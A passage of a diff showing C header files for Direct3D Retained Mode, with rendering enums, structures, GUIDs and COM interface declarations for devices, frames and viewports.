D3DRMLIGHT_OFF = 0 * D3DRMSHADE_MAX,
|
||||||
|
D3DRMLIGHT_ON = 1 * D3DRMSHADE_MAX,
|
||||||
|
D3DRMLIGHT_MASK = 7 * D3DRMSHADE_MAX,
|
||||||
|
D3DRMLIGHT_MAX = 8 * D3DRMSHADE_MAX
|
||||||
|
} D3DRMLIGHTMODE, *LPD3DRMLIGHTMODE;
|
||||||
|
typedef enum _D3DRMFILLMODE {
|
||||||
|
D3DRMFILL_POINTS = 0 * D3DRMLIGHT_MAX,
|
||||||
|
D3DRMFILL_WIREFRAME = 1 * D3DRMLIGHT_MAX,
|
||||||
|
D3DRMFILL_SOLID = 2 * D3DRMLIGHT_MAX,
|
||||||
|
D3DRMFILL_MASK = 7 * D3DRMLIGHT_MAX,
|
||||||
|
D3DRMFILL_MAX = 8 * D3DRMLIGHT_MAX
|
||||||
|
} D3DRMFILLMODE, *LPD3DRMFILLMODE;
|
||||||
|
typedef DWORD D3DRMRENDERQUALITY, *LPD3DRMRENDERQUALITY;
|
||||||
|
#define D3DRMRENDER_WIREFRAME (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_WIREFRAME)
|
||||||
|
#define D3DRMRENDER_UNLITFLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_SOLID)
|
||||||
|
#define D3DRMRENDER_FLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_ON+D3DRMFILL_SOLID)
|
||||||
|
#define D3DRMRENDER_GOURAUD (D3DRMSHADE_GOURAUD+D3DRMLIGHT_ON+D3DRMFILL_SOLID)
|
||||||
|
#define D3DRMRENDER_PHONG (D3DRMSHADE_PHONG+D3DRMLIGHT_ON+D3DRMFILL_SOLID)
|
||||||
|
typedef enum _D3DRMTEXTUREQUALITY
|
||||||
|
{ D3DRMTEXTURE_NEAREST,
|
||||||
|
D3DRMTEXTURE_LINEAR,
|
||||||
|
D3DRMTEXTURE_MIPNEAREST,
|
||||||
|
D3DRMTEXTURE_MIPLINEAR,
|
||||||
|
D3DRMTEXTURE_LINEARMIPNEAREST,
|
||||||
|
D3DRMTEXTURE_LINEARMIPLINEAR
|
||||||
|
} D3DRMTEXTUREQUALITY, *LPD3DRMTEXTUREQUALITY;
|
||||||
|
typedef enum _D3DRMCOMBINETYPE
|
||||||
|
{ D3DRMCOMBINE_REPLACE,
|
||||||
|
D3DRMCOMBINE_BEFORE,
|
||||||
|
D3DRMCOMBINE_AFTER
|
||||||
|
} D3DRMCOMBINETYPE, *LPD3DRMCOMBINETYPE;
|
||||||
|
typedef D3DCOLORMODEL D3DRMCOLORMODEL, *LPD3DRMCOLORMODEL;
|
||||||
|
typedef enum _D3DRMPALETTEFLAGS
|
||||||
|
{ D3DRMPALETTE_FREE,
|
||||||
|
D3DRMPALETTE_READONLY,
|
||||||
|
D3DRMPALETTE_RESERVED
|
||||||
|
} D3DRMPALETTEFLAGS, *LPD3DRMPALETTEFLAGS;
|
||||||
|
typedef struct _D3DRMPALETTEENTRY
|
||||||
|
{ unsigned char red;
|
||||||
|
unsigned char green;
|
||||||
|
unsigned char blue;
|
||||||
|
unsigned char flags;
|
||||||
|
} D3DRMPALETTEENTRY, *LPD3DRMPALETTEENTRY;
|
||||||
|
typedef struct _D3DRMIMAGE
|
||||||
|
{ int width, height;
|
||||||
|
int aspectx, aspecty;
|
||||||
|
int depth;
|
||||||
|
int rgb;
|
||||||
|
int bytes_per_line;
|
||||||
|
void* buffer1;
|
||||||
|
void* buffer2;
|
||||||
|
unsigned long red_mask;
|
||||||
|
unsigned long green_mask;
|
||||||
|
unsigned long blue_mask;
|
||||||
|
unsigned long alpha_mask;
|
||||||
|
int palette_size;
|
||||||
|
D3DRMPALETTEENTRY* palette;
|
||||||
|
} D3DRMIMAGE, *LPD3DRMIMAGE;
|
||||||
|
typedef enum _D3DRMWRAPTYPE
|
||||||
|
{ D3DRMWRAP_FLAT,
|
||||||
|
D3DRMWRAP_CYLINDER,
|
||||||
|
D3DRMWRAP_SPHERE,
|
||||||
|
D3DRMWRAP_CHROME
|
||||||
|
} D3DRMWRAPTYPE, *LPD3DRMWRAPTYPE;
|
||||||
|
#define D3DRMWIREFRAME_CULL 1
|
||||||
|
#define D3DRMWIREFRAME_HIDDENLINE 2
|
||||||
|
typedef enum _D3DRMPROJECTIONTYPE
|
||||||
|
{ D3DRMPROJECT_PERSPECTIVE,
|
||||||
|
D3DRMPROJECT_ORTHOGRAPHIC
|
||||||
|
} D3DRMPROJECTIONTYPE, *LPD3DRMPROJECTIONTYPE;
|
||||||
|
typedef enum _D3DRMXOFFORMAT
|
||||||
|
{ D3DRMXOF_BINARY,
|
||||||
|
D3DRMXOF_COMPRESSED,
|
||||||
|
D3DRMXOF_TEXT
|
||||||
|
} D3DRMXOFFORMAT, *LPD3DRMXOFFORMAT;
|
||||||
|
typedef DWORD D3DRMSAVEOPTIONS;
|
||||||
|
#define D3DRMXOFSAVE_NORMALS 1
|
||||||
|
#define D3DRMXOFSAVE_TEXTURECOORDINATES 2
|
||||||
|
#define D3DRMXOFSAVE_MATERIALS 4
|
||||||
|
#define D3DRMXOFSAVE_TEXTURENAMES 8
|
||||||
|
#define D3DRMXOFSAVE_ALL 15
|
||||||
|
#define D3DRMXOFSAVE_TEMPLATES 16
|
||||||
|
typedef enum _D3DRMCOLORSOURCE
|
||||||
|
{ D3DRMCOLOR_FROMFACE,
|
||||||
|
D3DRMCOLOR_FROMVERTEX
|
||||||
|
} D3DRMCOLORSOURCE, *LPD3DRMCOLORSOURCE;
|
||||||
|
typedef enum _D3DRMFRAMECONSTRAINT
|
||||||
|
{ D3DRMCONSTRAIN_Z,
|
||||||
|
D3DRMCONSTRAIN_Y,
|
||||||
|
D3DRMCONSTRAIN_X
|
||||||
|
} D3DRMFRAMECONSTRAINT, *LPD3DRMFRAMECONSTRAINT;
|
||||||
|
typedef enum _D3DRMMATERIALMODE
|
||||||
|
{ D3DRMMATERIAL_FROMMESH,
|
||||||
|
D3DRMMATERIAL_FROMPARENT,
|
||||||
|
D3DRMMATERIAL_FROMFRAME
|
||||||
|
} D3DRMMATERIALMODE, *LPD3DRMMATERIALMODE;
|
||||||
|
typedef enum _D3DRMFOGMODE
|
||||||
|
{ D3DRMFOG_LINEAR,
|
||||||
|
D3DRMFOG_EXPONENTIAL,
|
||||||
|
D3DRMFOG_EXPONENTIALSQUARED
|
||||||
|
} D3DRMFOGMODE, *LPD3DRMFOGMODE;
|
||||||
|
|
||||||
|
typedef enum _D3DRMZBUFFERMODE {
|
||||||
|
D3DRMZBUFFER_FROMPARENT,
|
||||||
|
D3DRMZBUFFER_ENABLE,
|
||||||
|
D3DRMZBUFFER_DISABLE
|
||||||
|
} D3DRMZBUFFERMODE, *LPD3DRMZBUFFERMODE;
|
||||||
|
typedef enum _D3DRMSORTMODE {
|
||||||
|
D3DRMSORT_FROMPARENT,
|
||||||
|
D3DRMSORT_NONE,
|
||||||
|
D3DRMSORT_FRONTTOBACK,
|
||||||
|
D3DRMSORT_BACKTOFRONT
|
||||||
|
} D3DRMSORTMODE, *LPD3DRMSORTMODE;
|
||||||
|
typedef DWORD D3DRMANIMATIONOPTIONS;
|
||||||
|
#define D3DRMANIMATION_OPEN 1
|
||||||
|
#define D3DRMANIMATION_CLOSED 2
|
||||||
|
#define D3DRMANIMATION_LINEARPOSITION 4
|
||||||
|
#define D3DRMANIMATION_SPLINEPOSITION 8
|
||||||
|
#define D3DRMANIMATION_SCALEANDROTATION 16
|
||||||
|
#define D3DRMANIMATION_POSITION 32
|
||||||
|
typedef DWORD D3DRMLOADOPTIONS;
|
||||||
|
#define D3DRMLOAD_FROMFILE 0x00L
|
||||||
|
#define D3DRMLOAD_FROMRESOURCE 0x01L
|
||||||
|
#define D3DRMLOAD_FROMMEMORY 0x02L
|
||||||
|
#define D3DRMLOAD_FROMSTREAM 0x04L
|
||||||
|
#define D3DRMLOAD_BYNAME 0x10L
|
||||||
|
#define D3DRMLOAD_BYPOSITION 0x20L
|
||||||
|
#define D3DRMLOAD_BYGUID 0x40L
|
||||||
|
#define D3DRMLOAD_FIRST 0x80L
|
||||||
|
#define D3DRMLOAD_INSTANCEBYREFERENCE 0x100L
|
||||||
|
#define D3DRMLOAD_INSTANCEBYCOPYING 0x200L
|
||||||
|
typedef struct _D3DRMLOADRESOURCE {
|
||||||
|
HMODULE hModule;
|
||||||
|
LPCTSTR lpName;
|
||||||
|
LPCTSTR lpType;
|
||||||
|
} D3DRMLOADRESOURCE, *LPD3DRMLOADRESOURCE;
|
||||||
|
typedef struct _D3DRMLOADMEMORY {
|
||||||
|
LPVOID lpMemory;
|
||||||
|
DWORD dSize;
|
||||||
|
} D3DRMLOADMEMORY, *LPD3DRMLOADMEMORY;
|
||||||
|
typedef enum _D3DRMUSERVISUALREASON {
|
||||||
|
D3DRMUSERVISUAL_CANSEE,
|
||||||
|
D3DRMUSERVISUAL_RENDER
|
||||||
|
} D3DRMUSERVISUALREASON, *LPD3DRMUSERVISUALREASON;
|
||||||
|
typedef DWORD D3DRMMAPPING, D3DRMMAPPINGFLAG, *LPD3DRMMAPPING;
|
||||||
|
static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPU = 1;
|
||||||
|
static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPV = 2;
|
||||||
|
static const D3DRMMAPPINGFLAG D3DRMMAP_PERSPCORRECT = 4;
|
||||||
|
typedef struct _D3DRMVERTEX
|
||||||
|
{ D3DVECTOR position;
|
||||||
|
D3DVECTOR normal;
|
||||||
|
D3DVALUE tu, tv;
|
||||||
|
D3DCOLOR color;
|
||||||
|
} D3DRMVERTEX, *LPD3DRMVERTEX;
|
||||||
|
typedef LONG D3DRMGROUPINDEX;
|
||||||
|
static const D3DRMGROUPINDEX D3DRMGROUP_ALLGROUPS = -1;
|
||||||
|
extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGB(D3DVALUE,D3DVALUE,D3DVALUE);
|
||||||
|
extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGBA(D3DVALUE,D3DVALUE,D3DVALUE,D3DVALUE);
|
||||||
|
extern D3DVALUE D3DRMAPI D3DRMColorGetRed(D3DCOLOR);
|
||||||
|
extern D3DVALUE D3DRMAPI D3DRMColorGetGreen(D3DCOLOR);
|
||||||
|
extern D3DVALUE D3DRMAPI D3DRMColorGetBlue(D3DCOLOR);
|
||||||
|
extern D3DVALUE D3DRMAPI D3DRMColorGetAlpha(D3DCOLOR);
|
||||||
|
extern LPD3DVECTOR D3DRMAPI D3DRMVectorAdd(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
|
||||||
|
extern LPD3DVECTOR D3DRMAPI D3DRMVectorSubtract(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
|
||||||
|
extern LPD3DVECTOR D3DRMAPI D3DRMVectorReflect(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
|
||||||
|
extern LPD3DVECTOR D3DRMAPI D3DRMVectorCrossProduct(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
|
||||||
|
extern D3DVALUE D3DRMAPI D3DRMVectorDotProduct(LPD3DVECTOR,LPD3DVECTOR);
|
||||||
|
extern LPD3DVECTOR D3DRMAPI D3DRMVectorNormalize(LPD3DVECTOR);
|
||||||
|
#define D3DRMVectorNormalise D3DRMVectorNormalize
|
||||||
|
extern D3DVALUE D3DRMAPI D3DRMVectorModulus(LPD3DVECTOR);
|
||||||
|
extern LPD3DVECTOR D3DRMAPI D3DRMVectorRotate(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR,D3DVALUE);
|
||||||
|
extern LPD3DVECTOR D3DRMAPI D3DRMVectorScale(LPD3DVECTOR,LPD3DVECTOR,D3DVALUE);
|
||||||
|
extern LPD3DVECTOR D3DRMAPI D3DRMVectorRandom(LPD3DVECTOR);
|
||||||
|
extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionFromRotation(LPD3DRMQUATERNION,LPD3DVECTOR,D3DVALUE);
|
||||||
|
extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionMultiply(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION);
|
||||||
|
extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionSlerp(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION,D3DVALUE);
|
||||||
|
extern void D3DRMAPI D3DRMMatrixFromQuaternion(D3DRMMATRIX4D,LPD3DRMQUATERNION);
|
||||||
|
#endif
|
||||||
508
client/d3drmobj.h
Normal file
508
client/d3drmobj.h
Normal file
@@ -0,0 +1,508 @@
|
|||||||
|
/* $Revision: 1.2 $ */
|
||||||
|
#ifndef _LCC_D3DRMOBJ_H_
|
||||||
|
#define _LCC_D3DRMOBJ_H_
|
||||||
|
#include <objbase.h>
|
||||||
|
#define VIRTUAL
|
||||||
|
#include "d3drmdef.h"
|
||||||
|
#include "d3d.h"
|
||||||
|
#define IUNKNOWN_METHODS(kind) \
|
||||||
|
STDMETHOD(QueryInterface) (THIS_ REFIID riid, LPVOID *ppvObj) kind; \
|
||||||
|
STDMETHOD_(ULONG, AddRef) (THIS) kind; \
|
||||||
|
STDMETHOD_(ULONG, Release) (THIS) kind
|
||||||
|
#define IDIRECT3DRMOBJECT_METHODS(kind) \
|
||||||
|
STDMETHOD(Clone) (THIS_ LPUNKNOWN pUnkOuter, REFIID riid, LPVOID *ppvObj) kind; \
|
||||||
|
STDMETHOD(AddDestroyCallback) (THIS_ D3DRMOBJECTCALLBACK, LPVOID argument) kind; \
|
||||||
|
STDMETHOD(DeleteDestroyCallback) (THIS_ D3DRMOBJECTCALLBACK, LPVOID argument) kind; \
|
||||||
|
STDMETHOD(SetAppData) (THIS_ DWORD data) kind; \
|
||||||
|
STDMETHOD_(DWORD, GetAppData) (THIS) kind; \
|
||||||
|
STDMETHOD(SetName) (THIS_ LPCSTR) kind; \
|
||||||
|
STDMETHOD(GetName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind; \
|
||||||
|
STDMETHOD(GetClassName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind
|
||||||
|
#define WIN_TYPES(itype, ptype) typedef interface itype FAR *LP##ptype, FAR **LPLP##ptype
|
||||||
|
WIN_TYPES(IDirect3DRMObject, DIRECT3DRMOBJECT);
|
||||||
|
WIN_TYPES(IDirect3DRMDevice, DIRECT3DRMDEVICE);
|
||||||
|
WIN_TYPES(IDirect3DRMViewport, DIRECT3DRMVIEWPORT);
|
||||||
|
WIN_TYPES(IDirect3DRMFrame, DIRECT3DRMFRAME);
|
||||||
|
WIN_TYPES(IDirect3DRMVisual, DIRECT3DRMVISUAL);
|
||||||
|
WIN_TYPES(IDirect3DRMMesh, DIRECT3DRMMESH);
|
||||||
|
WIN_TYPES(IDirect3DRMMeshBuilder, DIRECT3DRMMESHBUILDER);
|
||||||
|
WIN_TYPES(IDirect3DRMFace, DIRECT3DRMFACE);
|
||||||
|
WIN_TYPES(IDirect3DRMLight, DIRECT3DRMLIGHT);
|
||||||
|
WIN_TYPES(IDirect3DRMTexture, DIRECT3DRMTEXTURE);
|
||||||
|
WIN_TYPES(IDirect3DRMWrap, DIRECT3DRMWRAP);
|
||||||
|
WIN_TYPES(IDirect3DRMMaterial, DIRECT3DRMMATERIAL);
|
||||||
|
WIN_TYPES(IDirect3DRMAnimation, DIRECT3DRMANIMATION);
|
||||||
|
WIN_TYPES(IDirect3DRMAnimationSet, DIRECT3DRMANIMATIONSET);
|
||||||
|
WIN_TYPES(IDirect3DRMUserVisual, DIRECT3DRMUSERVISUAL);
|
||||||
|
WIN_TYPES(IDirect3DRMShadow, DIRECT3DRMSHADOW);
|
||||||
|
WIN_TYPES(IDirect3DRMArray, DIRECT3DRMOBJECTARRAY);
|
||||||
|
WIN_TYPES(IDirect3DRMDeviceArray, DIRECT3DRMDEVICEARRAY);
|
||||||
|
WIN_TYPES(IDirect3DRMFaceArray, DIRECT3DRMFACEARRAY);
|
||||||
|
WIN_TYPES(IDirect3DRMViewportArray, DIRECT3DRMVIEWPORTARRAY);
|
||||||
|
WIN_TYPES(IDirect3DRMFrameArray, DIRECT3DRMFRAMEARRAY);
|
||||||
|
WIN_TYPES(IDirect3DRMVisualArray, DIRECT3DRMVISUALARRAY);
|
||||||
|
WIN_TYPES(IDirect3DRMPickedArray, DIRECT3DRMPICKEDARRAY);
|
||||||
|
WIN_TYPES(IDirect3DRMLightArray, DIRECT3DRMLIGHTARRAY);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMDevice, 0x4fa3568e, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMViewport, 0x4fa3568f, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMFrame, 0x4fa35690, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMMesh, 0x4fa35691, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMMeshBuilder, 0x4fa35692, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMFace, 0x4fa35693, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMLight, 0x4fa35694, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMTexture, 0x4fa35695, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMWrap, 0x4fa35696, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMMaterial, 0x4fa35697, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMAnimation, 0x4fa35698, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMAnimationSet, 0x4fa35699, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMUserVisual, 0x4fa3569a, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(CLSID_CDirect3DRMShadow, 0x4fa3569b, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMObject, 0xeb16cb00, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMDevice, 0xe9e19280, 0x6e05, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMViewport, 0xeb16cb02, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMFrame, 0xeb16cb03, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMVisual, 0xeb16cb04, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMMesh, 0xa3a80d01, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMMeshBuilder, 0xa3a80d02, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMFace, 0xeb16cb07, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMLight, 0xeb16cb08, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMTexture, 0xeb16cb09, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMWrap, 0xeb16cb0a, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMMaterial, 0xeb16cb0b, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMAnimation, 0xeb16cb0d, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMAnimationSet, 0xeb16cb0e, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMDeviceArray, 0xeb16cb10, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMViewportArray, 0xeb16cb11, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMFrameArray, 0xeb16cb12, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMVisualArray, 0xeb16cb13, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMLightArray, 0xeb16cb14, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMPickedArray, 0xeb16cb16, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMFaceArray, 0xeb16cb17, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMUserVisual, 0x59163de0, 0x6d43, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
DEFINE_GUID(IID_IDirect3DRMShadow, 0xaf359780, 0x6ba3, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||||
|
typedef void (CDECL *D3DRMOBJECTCALLBACK)(LPDIRECT3DRMOBJECT obj, LPVOID arg);
|
||||||
|
typedef void (CDECL *D3DRMFRAMEMOVECALLBACK)(LPDIRECT3DRMFRAME obj, LPVOID arg, D3DVALUE delta);
|
||||||
|
typedef void (CDECL *D3DRMUPDATECALLBACK)(LPDIRECT3DRMDEVICE obj, LPVOID arg, int, LPD3DRECT);
|
||||||
|
typedef int (CDECL *D3DRMUSERVISUALCALLBACK)(LPDIRECT3DRMUSERVISUAL,LPVOID,D3DRMUSERVISUALREASON,LPDIRECT3DRMDEVICE,LPDIRECT3DRMVIEWPORT);
|
||||||
|
typedef HRESULT (CDECL *D3DRMLOADTEXTURECALLBACK)(char *,void *,LPDIRECT3DRMTEXTURE *);
|
||||||
|
typedef void (CDECL *D3DRMLOADCALLBACK) (LPDIRECT3DRMOBJECT,REFIID,LPVOID);
|
||||||
|
typedef struct _D3DRMPICKDESC {
|
||||||
|
ULONG ulFaceIdx;
|
||||||
|
LONG lGroupIdx;
|
||||||
|
D3DVECTOR vPosition;
|
||||||
|
} D3DRMPICKDESC, *LPD3DRMPICKDESC;
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMObject
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMObject, IUnknown) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMVisual
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMVisual, IDirect3DRMObject) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMDevice
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMDevice, IDirect3DRMObject) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(Init)(THIS_ ULONG width, ULONG height) PURE;
|
||||||
|
STDMETHOD(InitFromD3D)(THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev) PURE;
|
||||||
|
STDMETHOD(InitFromClipper)(THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID, int width, int height) PURE;
|
||||||
|
STDMETHOD(Update)(THIS) PURE;
|
||||||
|
STDMETHOD(AddUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE;
|
||||||
|
STDMETHOD(DeleteUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE;
|
||||||
|
STDMETHOD(SetBufferCount)(THIS_ DWORD) PURE;
|
||||||
|
STDMETHOD_(DWORD, GetBufferCount)(THIS) PURE;
|
||||||
|
STDMETHOD(SetDither)(THIS_ BOOL) PURE;
|
||||||
|
STDMETHOD(SetShades)(THIS_ DWORD) PURE;
|
||||||
|
STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE;
|
||||||
|
STDMETHOD(SetTextureQuality)(THIS_ D3DRMTEXTUREQUALITY) PURE;
|
||||||
|
STDMETHOD(GetViewports)(THIS_ LPDIRECT3DRMVIEWPORTARRAY *return_views) PURE;
|
||||||
|
STDMETHOD_(BOOL, GetDither)(THIS) PURE;
|
||||||
|
STDMETHOD_(DWORD, GetShades)(THIS) PURE;
|
||||||
|
STDMETHOD_(DWORD, GetHeight)(THIS) PURE;
|
||||||
|
STDMETHOD_(DWORD, GetWidth)(THIS) PURE;
|
||||||
|
STDMETHOD_(DWORD, GetTrianglesDrawn)(THIS) PURE;
|
||||||
|
STDMETHOD_(DWORD, GetWireframeOptions)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DCOLORMODEL, GetColorModel)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DRMTEXTUREQUALITY, GetTextureQuality)(THIS) PURE;
|
||||||
|
STDMETHOD(GetDirect3DDevice)(THIS_ LPDIRECT3DDEVICE *) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMViewport
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMViewport, IDirect3DRMObject) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(Init)(THIS_ LPDIRECT3DRMDEVICE d,LPDIRECT3DRMFRAME c,DWORD x,DWORD y,DWORD w,DWORD h) PURE;
|
||||||
|
STDMETHOD(Clear)(THIS) PURE;
|
||||||
|
STDMETHOD(Render)(THIS_ LPDIRECT3DRMFRAME) PURE;
|
||||||
|
STDMETHOD(SetFront)(THIS_ D3DVALUE) PURE;
|
||||||
|
STDMETHOD(SetBack)(THIS_ D3DVALUE) PURE;
|
||||||
|
STDMETHOD(SetField)(THIS_ D3DVALUE) PURE;
|
||||||
|
STDMETHOD(SetUniformScaling)(THIS_ BOOL) PURE;
|
||||||
|
STDMETHOD(SetCamera)(THIS_ LPDIRECT3DRMFRAME) PURE;
|
||||||
|
STDMETHOD(SetProjection)(THIS_ D3DRMPROJECTIONTYPE) PURE;
|
||||||
|
STDMETHOD(Transform)(THIS_ D3DRMVECTOR4D *d, D3DVECTOR *s) PURE;
|
||||||
|
STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DRMVECTOR4D *s) PURE;
|
||||||
|
